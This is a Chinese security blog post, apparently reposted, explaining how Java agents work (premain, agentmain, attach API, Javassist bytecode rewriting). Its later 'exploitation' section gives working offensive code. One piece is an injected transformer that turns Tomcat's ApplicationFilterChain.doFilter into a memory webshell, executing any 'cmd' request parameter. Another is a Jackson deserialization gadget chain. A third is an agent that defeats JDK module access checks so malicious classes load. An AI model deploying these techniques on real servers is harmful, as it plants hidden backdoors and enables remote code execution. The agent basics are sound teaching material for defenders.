Agent基本认识
Agent(代理)来讲,其大致可以分为两种,一种是在 JVM 启动前加载的premain-Agent
,另一种是 JVM 启动之后加载的 agentmain-Agent
。这里我们可以将其理解成一种特殊的 Interceptor(拦截器)
premain-Agent
首先我们先定义这样一个 agent.jar
public class Java_Agent_premain {
public static void premain(String args, Instrumentation inst) {
for (int i=0 ; i<10 ; i++){
System.out.println("调用了premain-Agent!");
}
}
}
Agent.mf
Manifest-Version: 1.0
Premain-Class: Java_Agent_premain
然后 生成我们的 premain agent
jar cvfm agent.jar META-INF/maven/agent.MF Java_Agent_premain.class
相应的我们准备一个 hello.jar
public class Hello {
public static void main(String[] args) {
System.out.println("hello");
}
}
hello.mf
Manifest-Version: 1.0
Main-Class: Hello
jar cvfm hello.jar META-INF/maven/hello.mf Hello.class
然后其实可以发现我们的Java_Agent_premain 是运行Hello之前的。
这个premain-Agent是在jvm启动前加载的。
java -javaagent:agent.jar -jar hello.jar
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
Hello World!
VirtualMachine
先说一下环境,引入 tool.jar
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>/Library/Java/JavaVirtualMachines/jdk8u275/lib/tools.jar</systemPath>
</dependency>
com.sun.tools.attach.VirtualMachine
类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
比如这个 获取特定虚拟机PID
public class get_PID {
public static void main(String[] args) {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("com.drunkbaby.get_PID"))
System.out.println(vmd.id());
}
}
}
agentmain-Agent
premain-Agent是在 JVM 启动前加载的,这个agentmain是 JVM 启动之后加载的。
先编写一个 Sleep_Hello
类,模拟正在运行的 JVM
package com.drunkbaby;
import static java.lang.Thread.sleep;
public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}
编写我们的 agentmain
public class Java_Agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}
mf文件
Manifest-Version: 1.0
Agent-Class: com.drunkbaby.Java_Agent_agentmain
jar cvfm hello.jar META-INF/MAINFEST.MF Java_Agent_agentmain.class
然后开始注入
public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.drunkbaby.Sleep_Hello")){
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("/Users/taoyu/Music/code/java_code/Java-Agent-Memshell/Agentmain/src/main/resources/hello.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}
先运行Sleep_Hello再运行Inject_Agent。输出如下。
Hello World!
调用了agentmain-Agent!
Hello World!
调用了agentmain-Agent!
调用了agentmain-Agent!
但是这里我们这里只是插入,而不是改变。
动态修改字节码
Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。
ClassFileTransformer接口下面有一个addTransformer方法。重写该方法即可转换任意类文件,并返回新的被取代的类文件,
下面我们来修改这个正在运行的hello
public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while(true) {
hello();
sleep(3000);
}
}
public static void hello(){
System.out.println("Hello World!");
}
}
一个实现了ClassFileTransformer接口的类。
public class Hello_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
CtClass ctClass = classPool.get("AgentShell.Sleep_Hello");
System.out.println(ctClass);
//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
//设置方法体
String body = "{System.out.println("Hacker!");}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
agent
public class agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("AgentShell.Sleep_Hello")){
//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}
修改一下mf文件
Manifest-Version: 1.0
Agent-Class: AgentShell.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true
pom.xml 这里使用assembly生成说需要的jar包
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.6</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/maven/MAINFEST.MF
</manifestFile>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>6</source>
<target>6</target>
</configuration>
</plugin>
</plugins>
</build>
先运行Sleep_Hello 再运行这个
public class Inject_Agent {
public static void main(String[] args) throws Exception {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("AgentShell.Sleep_Hello")){
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("/Users/taoyu/Music/code/java_code/Java-Agent-Memshell/Instrumentation/target/Instrumentation-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}
Hello World!
Hello World!
Hello World!
Hello World!
Hello World!
Hello World!
javassist.CtClassType@6ae33825[public class AgentShell.Sleep_Hello fields= constructors=javassist.CtConstructor@58966603[public Sleep_Hello ()V], methods=javassist.CtMethod@44a4fe33[public static main ([Ljava/lang/String;)V], javassist.CtMethod@30063153[public static hello ()V], ]
Hacker!
Hacker!
一些利用
利用agentmain注入Filter内存马
准备好实现了ClassFileTransformer接口的Filter_Transform
public class Filter_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1n;" +
"String cmd=request.getParameter("cmd");n" +
"if (cmd !=null){n" +
" Runtime.getRuntime().exec(cmd);n" +
" }"+
"}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
准备agent
public class agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Filter_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}
mf文件
Manifest-Version: 1.0
Agent-Class: com.drunkbaby.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true
生成对应jar包,然后开始注入
public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().contains("JavaAgentSpringBootApplication")){
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("/Users/taoyu/Music/code/java_code/Java-Agent-Memshell/AgentInjectionExample/target/AgentInjectionExample-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}
注入成功。
Jackson删除writeReplace方法
说到这个链子,我们都知道需要删除BaseJsonNode的writeReplace方法。但是我们其实可以在premain的时候就把这件事情给做了。
Object template = Gadgets.createTemplatesImpl("open -a Calculator");
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode jsonNodes = new POJONode(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", jsonNodes);
System.out.println(Tool.base64Encode(Tool.serialize(badAttributeValueExpException)));
transform
public class JacksonClassFileTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){
String target1 = "com.fasterxml.jackson.databind.node.BaseJsonNode";
String className2 = className.replace("/", ".");
if (className2.equals(target1)) {
System.out.println("Find the Inject Class: "+target1);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className2);
CtMethod ctMethod = c.getDeclaredMethod("writeReplace");
c.removeMethod(ctMethod);
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}
}
agent
public class JacksonAgent {
public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new JacksonClassFileTransformer(),true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class loadedClass : allLoadedClasses) {
if("com.fasterxml.jackson.databind.node.BaseJsonNode".equals(loadedClass.getName())){
//重新transform
inst.retransformClasses(loadedClass);
}
}
}
}
.mf
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: cn.org.unk.JacksonAgent
然后我们生成对应的jar包。
然后我们需要让项目运行的时候加上这样一个参数.带上我们的premain agent。
-javaagent:/Users/taoyu/Music/code/java_code/Java-useful-agent/Java17/target/Java17-premain.jar
Run->edit configurations
然后我们构造链子的好时候就可以将以下代码删除依旧不影响我们poc的构造
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
高版本jdk反射修改私有属性
dk9出现了module机制:https://zhuanlan.zhihu.com/p/640217638
java.xml是module的名字,不一定要和包名一样。
exports表示外部可以访问当前module的哪些package。
exports…to 表示指定该package只能被哪些package访问。
同一个module下的类可以互相访问。
我们以这个链子为例。
EventListenerList ReadObject -> ToString
Person p = new Person("aaa");
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(p);
setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
byte[] code = serialize(list);
unserialize(code);
Person
public String toString() {
System.out.println("this is tostring");
}
我们正常情况下调用私有属性的时候。下面这个 flag值为true。
public void setAccessible(boolean flag) {
AccessibleObject.checkPermission();
if (flag) checkCanSetAccessible(Reflection.getCallerClass());
setAccessible0(flag);
}
会爆以下错误。但是我们如果设置一个premain,就可以修改这段代码。让flag恒为flase。这样我们就可以setAccessible来进行各种操作了。
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field protected java.util.Vector javax.swing.undo.CompoundEdit.edits accessible: module java.desktop does not "opens javax.swing.undo" to unnamed module @60d14f0f
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:178)
public class MyClassFileTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){
String target4 = "java.lang.reflect.Field";
String className2 = className.replace("/", ".");
if (className2.equals(target4)) {
System.out.println("Find the Inject Class: "+target4);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className2);
System.out.println("hhhh");
CtMethod ctMethod = c.getDeclaredMethod("setAccessible");
ctMethod.setBody("{ java.lang.reflect.AccessibleObject.checkPermission();n" +
" if (false) checkCanSetAccessible(Reflection.getCallerClass());n" +
" setAccessible0($1);}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}
}
public class MyAgent {
public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new MyClassFileTransformer(),true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class loadedClass : allLoadedClasses) {
if("java.lang.reflect.Field".equals(loadedClass.getName())){
//重新transform
inst.retransformClasses(loadedClass);
}
}
}
}
高版本JDK反射类加载
由于高版本的module机制,
无法反射调用 TemplatesImpl 的get方法,POJONode的toString -> 到任意get 的这种方法也没有办法用。
但是我们可以修改Method 的 setAccessible也修改一下我们就可以了。但是需要让服务端加载这个permain时不太现实的。
但是我们可以通过agentmain进行修改,但是有那种功夫,我们还不如注入内存马。直接拿shell。
把上面的那个agent 的 Filed改成Method就可以了。
这样的这个恶意类在jdk17的环境下依旧是可以被加载的。
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Evil.class"));
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance();
点击收藏 | 0关注 | 1打赏
【来源】:https://xz.aliyun.com/t/15760?u_atoken=b512764aa4facd5c1bf2401e65929a59&u_asig=0a47319217310688458607678e003c
原文始发于微信公众号(船山信安):javaAgent简单讲解和一些利用技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论